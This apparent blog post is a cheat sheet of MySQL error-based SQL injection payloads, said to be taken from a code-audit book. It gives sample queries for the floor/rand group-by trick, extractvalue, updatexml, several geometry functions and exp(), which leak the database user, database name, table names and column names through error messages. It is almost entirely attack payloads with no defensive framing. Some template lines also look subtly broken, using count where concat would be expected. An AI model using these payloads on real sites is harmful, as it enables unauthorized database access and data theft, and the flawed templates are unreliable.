mysqli报错注入常见函数

以下均摘自《代码审计:企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

常用格式

1 union select count(*),count((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查库名
1 union select count(*),count((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查表名
1 union select count(*),count((select table_name from information_schema.tables where table_schema=database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查字节名
1 union select count(*),count((select column_name from information_schema.columns where table_name=''),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
查字节内容
1 union select count(*),count((select column_name from ''),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

posted @ 2020-08-21 14:43  LY2333  阅读(251)  评论(0编辑  收藏  举报